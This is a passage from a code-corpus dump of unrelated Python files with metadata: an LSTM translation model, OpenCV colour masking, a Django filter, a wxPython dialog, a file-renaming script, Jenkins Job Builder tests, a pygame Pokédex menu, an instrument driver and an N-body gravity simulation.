Input,Embedding,LSTM,Dense,TimeDistributed\nfrom tensorflow.python.keras.models import Model\nfrom tensorflow.python.keras.preprocessing.sequence import pad_sequences\nimport numpy as np\n\ndef define_nmt(hidden_size,embedding_dim,source_lang_timesteps,source_lang_vocab_size,target_lang_timesteps,target_lang_vocab_size,dropout):\n\n encoder_inputs=Input(shape=(source_lang_timesteps,),name='encoder_inputs')\n decoder_inputs=Input(shape=(target_lang_timesteps-1,),name='decoder_inputs')\n\n encoder_embedding_layer=Embedding(input_dim=source_lang_vocab_size,output_dim=embedding_dim)\n encoder_embedded=encoder_embedding_layer(encoder_inputs)\n decoder_embedding_layer=Embedding(input_dim=target_lang_vocab_size,output_dim=embedding_dim)\n decoder_embedded=decoder_embedding_layer(decoder_inputs)\n\n #encoder LSTM\n #encoder_lstm=LSTM(hidden_size,return_sequences=True,return_state=True,name='encoder_lstm',dropout=dropout, recurrent_dropout=dropout)\n encoder_lstm = LSTM(hidden_size, return_sequences=True, return_state=True, name='encoder_lstm')\n encoder_out,encoder_state_h,encoder_state_c=encoder_lstm(encoder_embedded)\n encoder_states = [encoder_state_h, encoder_state_c]\n\n #decoder LSTM\n #decoder_lstm=LSTM(hidden_size,return_sequences=True,return_state=True,name='decoder_lstm',dropout=dropout, recurrent_dropout=dropout)\n decoder_lstm = LSTM(hidden_size, return_sequences=True, return_state=True, name='decoder_lstm')\n decoder_out,decoder_state_h,decoder_state_c=decoder_lstm(decoder_embedded,initial_state=encoder_states)\n\n #dense layer\n dense=Dense(target_lang_vocab_size,activation='softmax',name='softmax_layer')\n dense_time=TimeDistributed(dense,name='time_distributed_layer')\n decoder_pred=dense_time(decoder_out)\n\n full_model = Model(inputs=[encoder_inputs, decoder_inputs], outputs=decoder_pred)\n full_model.compile(optimizer='adam', loss='categorical_crossentropy')\n\n encoder_model=Model(encoder_inputs,[encoder_out]+encoder_states)\n\n inf_decoder_state_input_h = Input(shape=(hidden_size,))\n inf_decoder_state_input_c = Input(shape=(hidden_size,))\n inf_decoder_states_inputs = [inf_decoder_state_input_h, inf_decoder_state_input_c]\n inf_decoder_inputs = Input(shape=(1,), name='decoder_inputs')\n inf_decoder_embedded = decoder_embedding_layer(inf_decoder_inputs)\n\n inf_decoder_out, inf_decoder_state_h, inf_decoder_state_c = decoder_lstm(inf_decoder_embedded, initial_state=inf_decoder_states_inputs)\n inf_decoder_states = [inf_decoder_state_h, inf_decoder_state_c]\n inf_decoder_pred=TimeDistributed(dense)(inf_decoder_out)\n decoder_model=Model(inputs=[inf_decoder_inputs]+inf_decoder_states_inputs,outputs=[inf_decoder_pred]+inf_decoder_states)\n return full_model,encoder_model,decoder_model\n\ndef translate(sentence,encoder_model,decoder_model,source_tokenizer,target_tokenizer,src_vsize,tgt_vsize,source_timesteps,target_timesteps):\n target=\"sentencestart\"\n source_text_encoded = source_tokenizer.texts_to_sequences([sentence])\n target_text_encoded = target_tokenizer.texts_to_sequences([target])\n source_preproc_text = pad_sequences(source_text_encoded, padding='post', maxlen=source_timesteps)\n target_preproc_text=pad_sequences(target_text_encoded,padding='post',maxlen=1)\n encoder_out,enc_last_state_h,enc_last_state_c=encoder_model.predict(source_preproc_text)\n enc_last_state=[enc_last_state_h,enc_last_state_c]\n continuePrediction=True\n output_sentence=''\n total=0\n while continuePrediction:\n decoder_pred,decoder_state_h,decoder_state_c=decoder_model.predict([target_preproc_text]+enc_last_state)\n index_value = np.argmax(decoder_pred, axis=-1)[0, 0]\n sTemp = target_tokenizer.index_word.get(index_value, 'UNK')\n output_sentence += sTemp + ' '\n total += 1\n if total >= target_timesteps or sTemp == 'sentenceend':\n continuePrediction = False\n enc_last_state=[decoder_state_h,decoder_state_c]\n target_preproc_text[0,0]=index_value\n return output_sentence\n\nif __name__ == '__main__':\n \"\"\" Checking nmt model for toy example \"\"\"\n full_model,encoder_model,decoder_model=define_nmt(hidden_size=64,embedding_dim=100,source_lang_timesteps=20,source_lang_vocab_size=254,target_lang_timesteps=20,target_lang_vocab_size=321,dropout=0.1)\n full_model.summary(line_length=225)\n encoder_model.summary(line_length=225)\n decoder_model.summary(line_length=225)","sub_path":"models/encoder_decoder_lstm.py","file_name":"encoder_decoder_lstm.py","file_ext":"py","file_size_in_byte":4513,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"574177111","text":"import numpy as np\nimport cv2\nim = cv2.imread('screen.jpg')\n\nwhile(True):\n hsv = cv2.cvtColor(im,cv2.COLOR_BGR2HSV)\n r_low_color = np.array([0, 80, 100])\n r_upper_color = np.array([10, 255, 255])\n\n b_low_color = np.array([100, 75, 75])\n b_upper_color = np.array([130, 255, 255])\n \n g_low_color = np.array([50, 80, 0])\n g_upper_color = np.array([70, 255, 255])\n\n r_ex_img = cv2.inRange(hsv, r_low_color, r_upper_color)\n b_ex_img = cv2.inRange(hsv, b_low_color, b_upper_color)\n g_ex_img = cv2.inRange(hsv, g_low_color, g_upper_color)\n '''\n vvec = np.ones((ex_img.shape[1],1))\n\n hvec = np.ones((1,ex_img.shape[0]))\n\n hvec = np.dot(hvec, ex_img)\n vvec = np.dot(ex_img, vvec)\n\n x = np.argmax(hvec)\n y = np.argmax(vvec)\n cv2.circle(im, (x,y), 50, (0,255,0))\n '''\n cv2.imshow('screen', im)\n cv2.imshow('r', r_ex_img)\n cv2.imshow('b', b_ex_img)\n cv2.imshow('g', g_ex_img)\n \n key = cv2.waitKey(1) & 0xFF\n\n if key == ord('q'):\n break\ncv2.destroyAllWindows()\n","sub_path":"test_cv_6.py","file_name":"test_cv_6.py","file_ext":"py","file_size_in_byte":1036,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"408533341","text":"import django_filters\nfrom django import forms\nfrom django.forms.widgets import TextInput\nfrom django_filters import *\nfrom user.models import *\n\n\nclass OrderFilter(django_filters.FilterSet):\n price_less_than = NumberFilter(\n widget=forms.NumberInput(attrs={'class': 'form-control', 'placeholder': 'Order Price less than'}),\n label='Order Price less than Equal to ', field_name='o_amount', lookup_expr='lte')\n price_greater_than = NumberFilter(\n widget=forms.NumberInput(attrs={'class': 'form-control', 'placeholder': 'Order price grater than'}),\n label='Order Price greater than Equal to ', field_name='o_amount', lookup_expr='gte')\n date_after = DateTimeFilter(\n widget=forms.DateTimeInput(attrs={'class': 'form-control', 'placeholder': 'MM/DD/YYYY'}),\n label='Date After ', field_name='created_at', lookup_expr='gte')\n date_before = DateTimeFilter(\n widget=forms.DateTimeInput(attrs={'class': 'form-control', 'placeholder': 'MM/DD/YYYY'}),\n label='Date Before ', field_name='created_at', lookup_expr='lte')\n order_status = CharFilter(\n widget=TextInput(attrs=({'class': 'form-control', 'placeholder': 'Paid/pending'})),\n label='Order Status', field_name='status', lookup_expr='icontains')\n\n class Meta:\n model = order_data\n fields = ['o_amount', 'created_at', 'status']\n","sub_path":"admin1/filters.py","file_name":"filters.py","file_ext":"py","file_size_in_byte":1376,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"227847624","text":"# -*- coding: utf-8 -*-\n'''\nCreated on 31.07.2014\n\n@author: ulrich1992\n'''\nimport gui\nimport wx\nlf = \"\\n\"\nclass DLGBlocks():\n def __init__(self, parent=None, ifblocks=[], script_calls=[]):\n self.isOK = False\n self.frame = gui.dlgBlocks(parent)\n ifblock_string = lf.join(ifblocks)\n script_calls_string = lf.join(script_calls)\n self.frame.txtConditions.ChangeValue(ifblock_string)\n self.frame.txtScriptCalls.ChangeValue(script_calls_string)\n self.bindEvents()\n '''\n Constructor\n '''\n \n def ShowModal(self):\n self.frame.ShowModal()\n \n def onClose(self, evt):\n if self.isOK:\n evt.Skip()\n return\n dlg = wx.MessageDialog(self.frame, u\"Änderungen speichern?\", u\"Änderungen\", wx.CANCEL | wx.YES_NO | wx.ICON_WARNING)\n result = dlg.ShowModal()\n if result == wx.ID_YES:\n self.onOK(None)\n elif result == wx.ID_NO:\n evt.Skip()\n elif result == wx.ID_CANCEL:\n return\n \n \n def getResult(self):\n resultConditions = self.frame.txtConditions.GetValue().replace(\"\\r\", \"\").split(\"\\n\")\n resultScriptCalls = self.frame.txtScriptCalls.GetValue().replace(\"\\r\", \"\").split(\"\\n\")\n return resultConditions, resultScriptCalls\n \n def onOK(self, evt):\n self.isOK = True\n self.frame.Close()\n \n def bindEvents(self):\n self.frame.btnOK.Bind(wx.EVT_BUTTON, self.onOK)\n self.frame.Bind(wx.EVT_CLOSE, self.onClose)\n","sub_path":"src/ui/frames/dlgblocks.py","file_name":"dlgblocks.py","file_ext":"py","file_size_in_byte":1547,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"630577977","text":"import os\n\ndef rename_files():\n # get file names from a folder\n file_list = os.listdir(r\"C:\\Self\\General\\Pooja\\Edu_Career\\Learning\\Python\\Code\\Udacity_prog_foundn_python\\prank\\prank\") #r means process as it is\n # os.listdir Return a list containing the names of the entries in the directory given by path\n print(len(file_list))\n for file_name in file_list:\n print(file_name)\n\n saved_path = os.getcwd()\n print(f\"The current working directory is {saved_path}\")\n os.chdir(r\"C:\\Self\\General\\Pooja\\Edu_Career\\Learning\\Python\\Code\\Udacity_prog_foundn_python\\prank\\prank\")\n translation_table= str.maketrans(\"0123456789\",\" \") #make a tranlation table mapping the change\n\n\n for file_name in file_list:\n print(\"old name - \"+file_name)\n print(\"old name - \"+file_name.translate(translation_table)) #translate acc to the translation table\n os.rename(file_name,file_name.translate(translation_table))\n\nrename_files()","sub_path":"Udacity_prog_foundn_python/rename_files.py","file_name":"rename_files.py","file_ext":"py","file_size_in_byte":974,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"635054152","text":"# Joint copyright:\n# - Copyright 2015 Hewlett-Packard Development Company, L.P.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS, WITHOUT\n# WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the\n# License for the specific language governing permissions and limitations\n# under the License.\n\n# The goal of these tests is to check that given a particular set of flags to\n# Jenkins Job Builder's command line tools it will result in a particular set\n# of actions by the JJB library, usually through interaction with the\n# python-jenkins library.\n\nimport os\n\nfrom tests.base import mock\nfrom tests.cmd.test_cmd import CmdTestsBase\n\n\n@mock.patch('jenkins_jobs.builder.JenkinsManager.get_plugins_info',\n mock.MagicMock)\nclass DeleteTests(CmdTestsBase):\n\n @mock.patch('jenkins_jobs.cli.subcommand.update.'\n 'JenkinsManager.delete_jobs')\n @mock.patch('jenkins_jobs.cli.subcommand.update.'\n 'JenkinsManager.delete_views')\n def test_delete_single_job(self, delete_job_mock, delete_view_mock):\n \"\"\"\n Test handling the deletion of a single Jenkins job.\n \"\"\"\n\n args = ['--conf', self.default_config_file, 'delete', 'test_job']\n self.execute_jenkins_jobs_with_args(args)\n\n @mock.patch('jenkins_jobs.cli.subcommand.update.'\n 'JenkinsManager.delete_jobs')\n @mock.patch('jenkins_jobs.cli.subcommand.update.'\n 'JenkinsManager.delete_views')\n def test_delete_multiple_jobs(self, delete_job_mock, delete_view_mock):\n \"\"\"\n Test handling the deletion of multiple Jenkins jobs.\n \"\"\"\n\n args = ['--conf', self.default_config_file,\n 'delete', 'test_job1', 'test_job2']\n self.execute_jenkins_jobs_with_args(args)\n\n @mock.patch('jenkins_jobs.builder.JenkinsManager.delete_job')\n def test_delete_using_glob_params(self, delete_job_mock):\n \"\"\"\n Test handling the deletion of multiple Jenkins jobs using the glob\n parameters feature.\n \"\"\"\n\n args = ['--conf', self.default_config_file,\n 'delete', '--path',\n os.path.join(self.fixtures_path,\n 'cmd-002.yaml'),\n '*bar*']\n self.execute_jenkins_jobs_with_args(args)\n calls = [mock.call('bar001'), mock.call('bar002')]\n delete_job_mock.assert_has_calls(calls, any_order=True)\n self.assertEqual(delete_job_mock.call_count, len(calls),\n \"Jenkins.delete_job() was called '%s' times when \"\n \"expected '%s'\" % (delete_job_mock.call_count,\n len(calls)))\n","sub_path":"tests/cmd/subcommands/test_delete.py","file_name":"test_delete.py","file_ext":"py","file_size_in_byte":3001,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"228111750","text":"import sys\nimport numpy\nimport math\nimport time\nimport pylab\nfrom geopy.distance import vincenty\n\nfile_list = [(\"../misc/7-10_test/test1_point1.pos\",(30.664772,-96.323129),'Point 1','blue'),(\"../misc/7-10_test/test1_point2.pos\",(30.664791,-96.323181),'Point 2','green'),(\"../misc/7-10_test/test1_point3.pos\",(30.664743,-96.323175),'Point 3','purple')]\n#file_list = [(\"../misc/7-10_test/test2_point1.pos\",(30.664772,-96.323129)),(\"../misc/7-10_test/test2_point2.pos\",(30.664791,-96.323181)),(\"../misc/7-10_test/test2_point3.pos\",(30.664743,-96.323175))]\ndata_list = [(pylab.loadtxt(filename), point, label, color) for filename, point, label, color in file_list] \n\ncount = 1\nsd = 0.0\nmaxd = 0.0\ndlist = []\nfor data, point, label, color in data_list:\n for line in data:\n dlist.append(vincenty((line[0],line[1]),point).meters)\n# count += 1\n# tmp = vincenty((line[0],line[1]),point).meters\n# maxd = tmp if tmp>maxd else maxd\n# sd += tmp**2\n\n # Subtract known point \n# data[:,0] -= point[0]\n# data[:,1] -= point[1]\n # Convert to meters. Conversion accurate locally.\n # Constants arrived at using vincenty approx.\n# data[:,0] /= 0.00000902\n# data[:,1] /= 0.00001043\n# pylab.scatter(data[:,0], data[:,1], label=label, s=1, color=color)\n\n#sd = sd/count\n#sd = math.sqrt(sd)\n#rms2 = sd*2\n\n#l1 = \"r=\"+str('%.3f'%rms2)+\", 95%\"\n#l2 = \"r=\"+str('%.3f'%maxd)+\", 100%\"\n#circle1=pylab.Circle((0,0),radius=rms2,color='orange',fill=False,label=l1)\n#circle2=pylab.Circle((0,0),radius=maxd,color='red',fill=False,label=l2)\n#pylab.gca().add_patch(circle1)\n#pylab.gca().add_patch(circle2)\n\npylab.legend(loc='upper right',prop={'size':20})\n#pylab.axhline(y=0, color='k')\n#pylab.axvline(x=0, color='k')\npylab.title(\"Position results\",fontsize=15)\n#pylab.xlabel(\"W (m)\",fontsize=15)\n#pylab.xlim([-1,1])\n#pylab.ylabel(\"N (m)\",fontsize=15)\n#pylab.ylim([-1,1])\n\npylab.xlabel(\"Distance from point (m)\",fontsize=15)\npylab.ylabel(\"Frequency of occurance\",fontsize=15)\nbins = numpy.linspace(0,0.7,150)\npylab.hist(dlist, bins)\npylab.show()\n","sub_path":"Team19/MatthewGrogan/misc/processdata.py","file_name":"processdata.py","file_ext":"py","file_size_in_byte":2066,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"326030901","text":"# Importing Modules\nimport pygame\nfrom pygame import gfxdraw\nimport time\nimport random\nimport sys\nimport sqlite3\nimport os\nfrom basics import Basic\n\n# PyGame Initialisation\npygame.init()\nclock = pygame.time.Clock()\n#pygame.mouse.set_visible(False)\n\n# Window and Surface Initialisation\ndisplayWidth = 800\ndisplayHeight = 480\n\ntry:\n if os.uname()[1] == 'raspberrypi': \n mainSurface = pygame.display.set_mode((0,0),pygame.FULLSCREEN)\n pygame.mouse.set_cursor((8,8),(0,0),(0,0,0,0,0,0,0,0),(0,0,0,0,0,0,0,0))\n else: \n mainSurface = pygame.display.set_mode((displayWidth,displayHeight))\n pygame.mouse.set_visible(True)\nexcept:\n mainSurface = pygame.display.set_mode((displayWidth,displayHeight))\n pygame.mouse.set_visible(True)\n\n\n\nmenuSurface = pygame.Surface((200,480)).convert()\ndexSurface = pygame.Surface((600,380)).convert()\n\n# DB-Initialisation and Setup\nconn = sqlite3.connect('pokemon.db')\nconn.row_factory = sqlite3.Row\nc = conn.cursor()\n\nrunning = True\n\nselectionEngaged = False\nengagedMousePos = (0,0)\n\n\nclickCtr = 0\nscrollCooldown = 0\n\nbackgroundImage = pygame.image.load(\"bg.jpg\").convert()\nmainSurface.blit(backgroundImage,(0,0))\n\n\ndexScrollOffset = 0\n\n\n\nscrollDecayEngaged = False\nscrDecFirstValue = (0,0)\nscrDecSecondValue = (0,0)\nscrDecCounter = 0\nscrollDecay = 0\nscrollDirectionUp = False\n\n\nwhile running:\n\n # Event Processing\n for event in pygame.event.get():\n if event.type == pygame.QUIT:\n pygame.quit()\n sys.exit()\n\n # Keypress Processing\n keys = pygame.key.get_pressed()\n if keys[pygame.K_q] != 0: \n pygame.quit()\n sys.exit()\n\n\n mainSurface.blit(backgroundImage,(0,0))\n dexSurface.fill((0,0,0))\n dexSurface.set_colorkey((0,0,0))\n\n dexStartRange = 0\n dexEndRange = 6\n\n dexOffsetStep = abs(int(dexScrollOffset / 96))\n\n mouse = pygame.mouse.get_pos()\n mouseRel = pygame.mouse.get_rel()\n click = pygame.mouse.get_pressed()\n\n for x in range(dexStartRange + dexOffsetStep,dexEndRange + dexOffsetStep):\n for m in range(0,6):\n dexNumber = (x * 6 + m) + 1\n if dexNumber < 803:\n img = pygame.image.load(\"sprites/\" + str('{0:03d}'.format(dexNumber)) + \"/sprite-small-FN-\" + str('{0:03d}'.format(dexNumber)) + \".png\").convert_alpha()\n pygame.transform.scale(img,(96,96))\n\n if (m*96+170) < mouse[0] < (m*96+96+170) and (x*96+dexScrollOffset+50) < mouse[1] < (x*96+dexScrollOffset+96+50): \n pygame.draw.rect(dexSurface,(0,255,0),((m*96),(x*96+dexScrollOffset),96,96))\n \n # Additional condition for scroll support\n if click[0] == 1 and engagedMousePos == (0,0):\n selectionEngaged = True\n engagedMousePos = mouse\n if selectionEngaged and click[0] == 0:\n selectionEngaged = False\n if engagedMousePos[0] - 10 < mouse[0] < engagedMousePos[0] + 10 and engagedMousePos[1] - 10 < mouse[1] < engagedMousePos[1] + 10:\n print(\"Load \" + str('{0:03d}'.format(dexNumber)) + \"...\")\n pygame.quit()\n os.system(\"python3 InfoScreen_Rev3.py \" + str(dexNumber))\n sys.exit()\n engagedMousePos = (0,0)\n\n\n dexSurface.blit(img,(m * 96, x * 96 + dexScrollOffset)) \n\n\n mainSurface.blit(dexSurface,(170,50))\n\n # Scrolling generall\n if click[0] == 1: clickCtr += 1\n else: clickCtr = 0\n\n if click[0] == 1 and clickCtr > 1:\n dexScrollOffset += mouseRel[1]\n if dexScrollOffset > 0: dexScrollOffset = 0\n\n \n # Scroll decay\n if click[0] == 1: scrollDecayEngaged = True\n\n if scrollDecayEngaged:\n if scrDecCounter == 2 : scrDecFirstValue = mouse\n if scrDecCounter == 3: scrDecSecondValue = mouse\n\n if scrDecCounter > 3:\n if scrDecFirstValue[1] < scrDecSecondValue[1]: \n scrollDirectionUp = True\n if mouseRel[1] > scrollDecay: scrollDecay = abs(mouseRel[1])\n else:\n scrollDirectionUp = False\n if mouseRel[1] < -abs(scrollDecay): scrollDecay = abs(mouseRel[1])\n\n scrDecCounter += 1\n\n if click[0] == 0 and not scrollDecay <= 0:\n scrollDecay -= 3\n if scrollDirectionUp: dexScrollOffset += scrollDecay\n else: dexScrollOffset -= scrollDecay\n\n if click[0] == 0 and scrollDecay <= 0:\n scrollDecayEngaged = False\n scrDecFirstValue = (0,0)\n scrDecSecondValue = (0,0)\n scrDecCounter = 0\n\n clock.tick(60)\n pygame.display.update()","sub_path":"Assembled/Pidex/Pidex/DexMenuScreen.py","file_name":"DexMenuScreen.py","file_ext":"py","file_size_in_byte":4728,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"545104001","text":"import tensorflow as tf\nfrom new_adaption_method.agent import NAT\nfrom sandbox.rocky.tf.envs.base import TfEnv\nfrom rllab.envs.mujoco.half_cheetah_disable_joints import HalfCheetahEnvRandDisableJoints\nfrom rllab.envs.mujoco.half_cheetah_multi_friction import HalfCheetahEnvRandFriction\nfrom rllab.envs.mujoco.ant_env_rand import AntEnvRand\n#from rllab.envs.mujoco.half_cheetah_env_rand import HalfCheetahEnvRand\nfrom rllab.envs.mujoco.ant_env_rand_crippled_joints import AntEnvRandDisable\nfrom rllab.envs.box2d.double_pendulum_env_rand import DoublePendulumEnvRand\nfrom rllab.envs.normalized_env import normalize\nfrom rllab.baselines.linear_feature_baseline import LinearFeatureBaseline\nfrom new_adaption_method.policy import Policy\nfrom self_implement_maml.pendulum import PendulumEnv\n#from rllab.misc.instrument import stub, run_experiment_lite\nimport numpy as np\n\ndef train():\n #stub(globals())\n learning_rate = 0.001\n meta_step_size = 0.01\n meta_batch_size = 1\n fast_batch_size = 10\n seed = 2\n max_path_length = 1000\n num_grad_updates = 1\n num_samples = 1000\n np.random.seed(seed)\n tf.set_random_seed(seed)\n\n # multi velocity goal\n #env = TfEnv(normalize(HalfCheetahEnvRand()))\n\n # multi length pendulum\n env1 = TfEnv(normalize(HalfCheetahEnvRandFriction(),normalize_obs= True))\n env2 = None#TfEnv(normalize(HalfCheetahEnvRand()))\n\n baseline = LinearFeatureBaseline(env_spec=env1.spec)\n\n policy = Policy(env = env1)\n\n agent = NAT(env = env1,\n fake_env= env2,\n batch_size = fast_batch_size,\n seed = seed,\n max_path_length = max_path_length,\n num_grad_updates = num_grad_updates,\n n_itr = 145,\n num_samples= num_samples,\n step_size=meta_step_size,\n meta_batch_size=meta_batch_size,\n baseline = baseline,\n policy = policy,\n load_policy= True,\n save_video= False,\n lr= learning_rate\n )\n\n # do multiprocess training\n agent.meta_online_train(goal= 0.9)\n\nif __name__ == '__main__':\n train()","sub_path":"new_adaption_method_in_developing/MPC_test.py","file_name":"MPC_test.py","file_ext":"py","file_size_in_byte":2193,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"458200214","text":"import logging\nfrom pycqed.instrument_drivers.instrument import Instrument\nfrom qcodes.utils.validators import Numbers, Enum, MultiType\n\nlog = logging.getLogger(__name__)\n\nclass Virtual_Agilent_33250A(Instrument): \n \"\"\"\n Driver code for virtual Agilent 33250A trigger.\n Based on Agilent_33250A class\n Only most commonly used commands of the device integrated at this stage.\n \"\"\"\n def __init__(self, name, address=None, **kwargs):\n\n super().__init__(name, **kwargs)\n\n self.add_parameter(name='frequency',\n label='Frequency',\n unit='Hz',\n get_cmd=None,\n set_cmd=None,\n get_parser=float,\n set_parser=float,\n vals=Numbers(min_value=1e-6,\n max_value=80e6),\n docstring=('Command for setting the pulse frequency. Min value: 1 uHz, Max value: 80 MHz'))\n self.add_parameter(name='pulse_shape',\n label='Pulse shape',\n get_cmd=None,\n set_cmd=None,\n vals=Enum('SIN','SQU'),\n docstring=('Command for setting the desired pulse shape. Currently supported: SIN, SQU.'))\n self.add_parameter(name='pulse_width',\n label='Pulse width',\n get_cmd=None,\n set_cmd=None,\n get_parser=float,\n set_parser=float,\n unit='s',\n vals=Numbers(min_value=8e-9, max_value=2e3),\n docstring=('Command for setting the desired pulse width. Min value: 8 ns, Max value: 2000 s.'))\n self.add_parameter('pulse_period',\n label='Pulse period',\n get_cmd=None,\n set_cmd=None,\n get_parser=float,\n set_parser=float,\n unit='s',\n vals=Numbers(min_value=20e-9, max_value=2e3),\n docstring=('Command for setting the desired pulse period. Min value: 20 ns, Max value: 2000 s.'))\n self.add_parameter(name='amplitude',\n label='Amplitude',\n unit='Vpp',\n get_cmd=None,\n set_cmd=None,\n get_parser=float,\n set_parser=float,\n vals=Numbers(min_value=1e-3, max_value=20),\n docstring=('Command for setting the desired pulse amplitude. Min value for 50 Ohm load: 1 mVpp, Max value for 50 Ohm load: 10 Vpp. Min value for high impedance load: 2 mVpp, Max value for high impedance load: 20 Vpp.'))\n self.add_parameter('offset',\n label='Offset',\n unit='V',\n get_cmd=None,\n set_cmd=None,\n get_parser=float,\n set_parser=float,\n vals=Numbers(min_value=-10, max_value=10),\n docstring=('Command for setting the desired dc offset. Min value for 50 Ohm load: -10 V, Max value for 50 Ohm load: 10 V. Min value for high impedance load: -10 V, Max value for high impedance load: 10 Vpp.'))\n self.add_parameter(name='output',\n get_cmd=None,\n set_cmd=None,\n val_mapping={'OFF': 0,\n 'ON': 1},\n docstring=('Command for switching on/off the device output.'))\n self.add_parameter(name='output_sync',\n get_cmd=None,\n set_cmd=None,\n val_mapping={'OFF': 0,\n 'ON': 1},\n docstring='Command for switching on/off the device output synchronization.')\n self.add_parameter(name='load_impedance',\n\t\t\t\t\t\t label='Load impedance',\n\t\t\t\t\t\t unit='Ohm',\n get_cmd=None,\n set_cmd=None,\t\n get_parser=float,\n set_parser=float,\n vals=MultiType(Numbers(min_value=1, max_value=10e3), Enum('INF')),\n docstring=(\"Command for setting the load impedance in Ohms. Min value: 1 Ohm, Max value: 10 kOhm or 'INF'\"))\t\t\t\t\t\t \n \n self.connect_message()\n \n def reset(self):\n \"\"\"\n pass\n \"\"\"\n pass\n\n def start(self, **kw):\n \"\"\"\n :param kw: currently ignored, added for compatibilty with other\n instruments that accept kwargs in start().\n \"\"\"\n self.output('ON')\n \n def stop(self):\n self.output('OFF')\n ","sub_path":"pycqed/instrument_drivers/virtual_instruments/virtual_Agilent_33250A.py","file_name":"virtual_Agilent_33250A.py","file_ext":"py","file_size_in_byte":5125,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"612674005","text":"'''Many_Body_Assembly - a program by sdat2 to show that the\nparticle class works to effectively simulate a series of test masses\nUsage: python3 1_Body_Problem.py [Time_Period] [Time_Step]'''\n\nimport sys, os\nimport numpy as np\nfrom numpy import linalg as LA\nimport matplotlib.pyplot as plt\nimport pickle\n\n\n### Global Variable defaults ###\ntstep = 0.05 # Time step\nmaxtimer = 20\n\n### Command Line Inputs ###\nif len(sys.argv) > 1: maxtimer = int(sys.argv[1])\nif len(sys.argv) > 2: tstep = float(sys.argv[2])\n\n### A class for particles gravitationally interacting ###\nclass particle:\n '''A class for gravitationally interacting particles'''\n def __init__(self, position, velocity, mass, forceful, number):\n self.no = number\n self.x = position\n self.v = velocity\n self.m = mass\n self.forceful = forceful\n self.AM()\n self.kin_energy()\n def X(self, position):\n self.x = position\n def V(self, velocity):\n self.v = velocity\n def AM(self):\n '''Perform simple cross product'''\n self.am = np.array([self.v[2]*self.x[1] - self.x[2]*self.v[1],\\\n self.x[2]*self.v[0] - self.v[2]*self.x[0],\\\n self.v[1]*self.x[0] - self.x[1]*self.v[0]])\n def kin_energy(self):\n self.ke = 0.5*self.m*(LA.norm(self.v))**2\n def gravp_energy(self, particles):\n '''Sum up gravpot contributions'''\n GM = 1\n gpe_temp = 0\n for part in particles:\n if part.forceful and not part.no == self.no:\n gpe_temp += - GM*part.m/LA.norm(part.x - self.x)\n self.gpe = gpe_temp\n def RK4O(self, particles, tstep=tstep):\n '''Implementation of fourth order Runge Kutta'''\n X1 = self.x\n V1 = self.v\n dx1, dv1 = V1, Force(self.no, X1, particles)\n X2 = X1 + dx1*tstep/2\n V2 = V1 + dv1*tstep/2\n dx2, dv2 = V2, Force(self.no, X2, particles)\n X3 = X1 + dx2*tstep/2\n V3 = V1 + dv2*tstep/2\n dx3, dv3 = V3, Force(self.no, X3, particles)\n X4 = X1 + dx3*tstep\n V4 = V1 + dv3*tstep\n dx4, dv4 = V4, Force(self.no, X4, particles)\n self.X((X1 + (dx1+2*dx2+2*dx3+dx4)*(tstep/6)))\n self.V(V1 + ((dv1+2*dv2+2*dv3+dv4)*(tstep/6)))\n\ndef Force(num, position, particles):\n '''Gravitational Force Function'''\n GM = 1\n force = np.array([0.0, 0.0, 0.0])\n for part in particles:\n if part.forceful and not part.no == num:\n force += GM*part.m*(part.x-position)/(LA.norm(part.x - position)**(3))\n return force\n\n###Particle Creation###\n\ndef Circular_Position(radius, number_particles, member):\n '''returns the initial position of a particle'''\n angle = 2*np.pi/(number_particles)*member\n position = np.array([np.cos(angle),np.sin(angle),0])*radius\n return position\n\ndef Circular_Velocity(radius, number_particles, member):\n '''returns the velocity needed for circular motion'''\n angle = 2*np.pi/(number_particles)*member\n GM = 1\n speed = np.sqrt(GM/radius)\n velocity = np.array([-np.sin(angle),np.cos(angle),0])*speed\n return velocity\n\ndef Particle_Creator():\n '''creates the particles'''\n global particles\n particles = []\n radii = [2, 3, 4, 5, 6]\n num_particles = [12, 18, 24, 30, 36]\n countA = 0\n particles.append(particle(np.array([0, 0, 0]), np.array([0, 0, 0]), 1.0, True, countA))\n\n for i in range(len(radii)):\n countB = 0\n for j in range(num_particles[i]):\n countA += 1\n countB += 1\n pos = Circular_Position(radii[i], num_particles[i], j)\n vel = Circular_Velocity(radii[i], num_particles[i], j)\n particles.append(particle(pos, vel, 1.0, False, countA))\n\n for i in range(len(particles)): particles[i].gravp_energy(particles)\n\nParticle_Creator()\n\n####Run#######\ndef Write_Out(particles=particles):\n '''Writes output so that it can be animated'''\n output_direc = '/Users/simon/Documents/Computing_Coursework/MBA_Tests'\n if not os.path.exists(output_direc):\n os.makedirs(output_direc)\n with open(output_direc+'/C_grid.pickle', 'wb') as handle:\n pickle.dump(coordinate_grid, handle, protocol=pickle.HIGHEST_PROTOCOL)\n with open(output_direc+'/timer.pickle', 'wb') as handle:\n pickle.dump(timer, handle, protocol=pickle.HIGHEST_PROTOCOL)\n with open(output_direc+'/TotEnergy.pickle', 'wb') as handle:\n pickle.dump(Total_Energies, handle, protocol=0)\n\n'''\n Coordinates = np.zeros((3, len(particles)))\n for i in range(len(particles)):\n Coordinates[:,i]=particles[i].x\n plt.plot(Coordinates[0,:], Coordinates[1,:], marker='o', 